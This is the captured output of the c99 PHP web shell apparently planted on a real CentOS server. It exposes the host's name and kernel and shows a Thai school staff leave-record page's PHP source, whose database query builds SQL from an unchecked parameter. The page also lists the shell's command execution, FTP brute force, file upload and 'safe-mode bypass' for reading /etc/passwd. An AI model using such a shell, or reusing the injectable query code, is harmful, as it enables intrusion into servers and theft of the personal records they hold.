!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Add_His_Absent.php (8.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start();

 if (session_is_registered("valid_user")&&session_is_registered("Priority") )
 {
 $Username = $valid_user;
 $Password = $password;
include("../include/FunctionDB.php");
include("../include/Function.php");
include("admin_menu.php");
 ConnectDB();

$sql = "Select * From personal_tb  Where Teacher_code='$Teacher_code'";
$result = mysql_query($sql) or die(" Error").mysql_error();
$rss = mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {
	font-size: 14px;
	font-weight: bold;
}
-->
</style>
<table width="807" border="0" cellpadding="0" cellspacing="0">
	<tr>
		<td width="807"><br>
		  <fieldset>
			<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Develop.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="AbsentPersonalList.php?Teacher_code=<? echo $rss[Teacher_code] ?>">ข้อมูลประวัติการลาบุคลากร</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AbsentByYear.php?Teacher_code=<? echo $rss[Teacher_code] ?>">ข้อมูลประวัติวันลา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="ResearByYear.php?Teacher_code=<? echo $rss[Teacher_code] ?>">แสดงประวัติการศึกษา</a></font></legend>
			<label><div align="center">
			  <form id="form1" name="form1" method="post" action="Insert_Absent.php">
			    <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
			    <table width="84%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style=" border:0px solid gray"size="12">
                  <tr>
                    <td height="43" ><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12">
                        <tr>
                          <td height="28" colspan="3" bgcolor="#FDD88A"><div align="center" class="style1"><font color="#000000" face="Tahoma">เพิ่มข้อมูลประวัติการลา</font></div></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td bgcolor="#eeeeee"><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ 
                            - นามสกุล</font></div></td>
                          <td bgcolor="#eeeeee">&nbsp;</td>
                          <td bgcolor="#eeeeee"><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td height="29" bgcolor="#eeeeee"><div align="center"><font color="#003366" size="2" face="Tahoma">ปีงบประมาณ</font></div></td>
                          <td bgcolor="#eeeeee">&nbsp;</td>
                          <td bgcolor="#eeeeee"><label>
                          <select name="Year" id="Year">
                            <option value="2549">2549</option>
                            <option value="2550">2550</option>
                            <option value="2551">2551</option>
                            <option value="2552">2552</option>
                          </select>
                          </label></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td width="15%" height="29" bgcolor="#eeeeee" class="style18"><div align="center" class="style18"><font color="#003366">เริ่มลาวันที่</font></div></td>
                          <td width="0%" bgcolor="#eeeeee" class="style18"><span class="style19"></span></td>
                          <td width="85%" bgcolor="#eeeeee" class="style18"><font color="#000000">วันที่
                            <select name="mDate" id="select3" class="select" >
                                  <? getDay1to31();?>
                                </select>
                            เดือน
                            <select name="mMonth" id="select4" class="select" >
                              <? getThaiMonth();?>
                            </select>
                            ปี พ.ศ.
                            <input name="mYear" type="text" class="input1" id="mYear" size="4" maxlength="4" />
                            </font>&nbsp;<font color="#003366">ถึง</font><font color="#000000">&nbsp;วันที่
                              <select name="mDate2" id="mDate2" class="select" >
                              <? getDay1to31();?>
                            </select>
                              เดือน
                              <select name="mMonth2" id="select2" class="select" >
                                <? getThaiMonth();?>
                              </select>
                              ปี พ.ศ. <font color="#000000">
                                <input name="mYear2" type="text" class="input1" id="mYear2" size="4" maxlength="4" />
                              </font> </font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td bgcolor="#eeeeee"><div align="center"><font color="#003366" size="2" face="Tahoma">ประเภทการลา</font></div></td>
                          <td bgcolor="#eeeeee">&nbsp;</td>
                          <td bgcolor="#eeeeee"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                            <select name="Absent_code" id="Absent_code" class="input1">
                              <?php
	        $strSQL3 = "SELECT * FROM  history_absent01_tb ";//Where Absent_code='$Absent_code' ";
		   $result3 = mysql_query($strSQL3);
			     while( $rs3 = mysql_fetch_array($result3)) 	
					 {
			     echo"<option value=\"$rs3[Absent_code]\" ><b>$rs3[Absent_type]</b></option>\n";
				}
				CloseDB();  
				
	      ?>
                            </select>
                          </font></strong></font></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td bgcolor="#eeeeee"><div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนวันลา</font></div></td>
                          <td bgcolor="#eeeeee">&nbsp;</td>
                          <td bgcolor="#eeeeee"><input name="Absent_times" type="text" id="Absent_times" size="4" maxlength="3" /></td>
                        </tr>
                        <tr bgcolor="#FFFFFF">
                          <td bgcolor="#eeeeee"><div align="center"><font color="#003366" size="2" face="Tahoma">การนับ</font></div></td>
                          <td bgcolor="#eeeeee"><font size="2" face="Tahoma">&nbsp;</font></td>
                          <td bgcolor="#eeeeee"><font size="2" face="Tahoma">
                            <input type="radio" name="Unit_count" value="นับครั้ง" />
                            นับครั้ง
                            <input type="radio" name="Unit_count" value="ไม่นับครั้ง" />
                            ไม่นับครั้ง</font></td>
                        </tr>
                        <tr>
                          <td height="37" colspan="3"><div align="center">
                              <input type="hidden" name="Teacher_code" value="<? echo $rss[Teacher_code]?>" />
                              <input type="submit" name="Submit" value="  เพิ่ม  " class="button" />
                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                            <input type="reset" name="Submit" value="Reset" class="button" />
                          </div></td>
                        </tr>
                    </table></td>
                  </tr>
                </table>
			  </form>
			  </div>
			</label>
		</fieldset><br>
		<font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
	  </font></td>
	</tr>
</table>
<?php 
	}
else
{
       echo"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--